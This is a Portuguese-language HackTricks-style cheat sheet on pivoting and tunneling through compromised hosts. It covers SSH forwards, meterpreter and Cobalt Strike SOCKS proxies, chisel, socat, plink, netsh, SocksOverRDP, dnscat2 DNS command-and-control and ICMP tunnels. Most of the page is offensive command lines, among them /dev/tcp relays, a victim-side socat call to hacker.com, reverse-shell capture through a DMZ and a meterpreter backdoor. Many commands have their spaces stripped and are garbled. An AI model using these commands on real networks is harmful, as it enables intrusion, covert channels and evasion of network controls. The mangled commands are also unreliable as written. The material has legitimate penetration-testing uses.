Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
ICMP e SYN scans não podem ser tunelados por meio de proxies socks, então devemos desativar a descoberta de ping (-Pn) e especificar scans TCP (-sT) para que isso funcione.
Bash
Host -> Salto -> InternoA -> InternoB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
Conexão gráfica SSH (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Porta Local para Porta
Abrir nova porta no servidor SSH --> Outra porta
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Porta-a-Porta
Porta local --> Host comprometido (SSH) --> Terceira_caixa:Porta
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Porta Local --> Host Comprometido (SSH) --> Para onde quer que seja
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Encaminhamento de Porta Reverso
Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
É necessário root em ambos os dispositivos (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Porta local --> Host comprometido (sessão ativa) --> Terceira_caixa:Porta
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação entre clientes e servidores através de um firewall. Ele atua como um intermediário que encaminha o tráfego de rede entre o cliente e o servidor, permitindo a conexão a partir de uma rede interna ou privada.
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Outra maneira:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
Proxy SOCKS
Abra uma porta no teamserver ouvindo em todas as interfaces que podem ser usadas para rotear o tráfego através do beacon.
beacon>socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
Neste caso, a porta é aberta no host de beacon, não no Servidor da Equipe e o tráfego é enviado para o Servidor da Equipe e a partir daí para o host:porta indicado.
Neste caso, a porta é aberta no host do beacon, não no Team Server e o tráfego é enviado para o cliente Cobalt Strike (não para o Team Server) e a partir daí para o host:porta indicado.
Você pode baixá-lo na página de lançamentos de https://github.com/jpillora/chisel
Você precisa usar a mesma versão para cliente e servidor
socks
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker>socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
Você pode contornar um proxy não autenticado executando esta linha em vez da última no console da vítima:
Criar certificados em ambos os lados: Cliente e Servidor
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Conecte a porta SSH local (22) à porta 443 do host do atacante
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker>sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço ssh e porta para que possamos ter uma conexão reversa. Em seguida, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Porta2Porta
Você precisa ser um administrador local (para qualquer porta)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
É necessário ter acesso RDP sobre o sistema.
Download:
Binários SocksOverRDP x64 - Esta ferramenta utiliza Dynamic Virtual Channels (DVC) do recurso de Serviço de Área de Trabalho Remota do Windows. O DVC é responsável por tunelar pacotes sobre a conexão RDP.
No seu computador cliente, carregue SocksOverRDP-Plugin.dll assim:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64>regsvr32.exeSocksOverRDP-Plugin.dll
Agora podemos conectar à vítima via RDP usando mstsc.exe, e devemos receber um prompt informando que o plugin SocksOverRDP está habilitado, e ele irá escutar em 127.0.0.1:1080.
Conecte via RDP e faça upload e execute na máquina da vítima o binário SocksOverRDP-Server.exe:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando:
netstat -antb | findstr 1080
Agora você pode usar Proxifierpara encaminhar o tráfego por meio dessa porta.
Proxificar Aplicativos GUI do Windows
Você pode fazer com que aplicativos GUI do Windows naveguem por um proxy usando o Proxifier.
Em Profile -> Proxy Servers adicione o IP e a porta do servidor SOCKS.
Em Profile -> Proxification Rules adicione o nome do programa para proxificar e as conexões para os IPs que deseja proxificar.
Bypass de proxy NTLM
A ferramenta mencionada anteriormente: RpivotOpenVPN também pode contorná-lo, configurando essas opções no arquivo de configuração:
Autentica-se contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Em seguida, você pode usar a ferramenta de sua escolha por meio desta porta.
Por exemplo, encaminha a porta 443.
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Agora, se você configurar, por exemplo, no alvo o serviço SSH para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.
Você também poderia usar um meterpreter que se conecta a localhost:443 e o atacante está ouvindo na porta 2222.
Estabelece um canal de C&C através do DNS. Não necessita de privilégios de root.
attacker>ruby./dnscat2.rbtunneldomain.comvictim>./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker>rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim>./dnscat2--dnshost=10.10.10.10,port=5353
No PowerShell
Você pode usar dnscat2-powershell para executar um cliente dnscat2 no powershell:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Alterar o DNS do proxychains
O Proxychains intercepta a chamada gethostbyname da biblioteca libc e encaminha a solicitação de DNS tcp através do proxy socks. Por padrão, o servidor DNS que o proxychains usa é 4.2.2.2 (codificado). Para alterá-lo, edite o arquivo: /usr/lib/proxychains3/proxyresolv e mude o IP. Se estiver em um ambiente Windows, você pode definir o IP do controlador de domínio.
É necessário ter acesso de root em ambos os sistemas para criar adaptadores tun e encaminhar dados entre eles usando solicitações de eco ICMP.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrok é uma ferramenta para expor soluções para a Internet em uma linha de comando.URIs de exposição são como:UID.ngrok.io
Instalação
Criar uma conta: https://ngrok.com/signup
Download do cliente:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!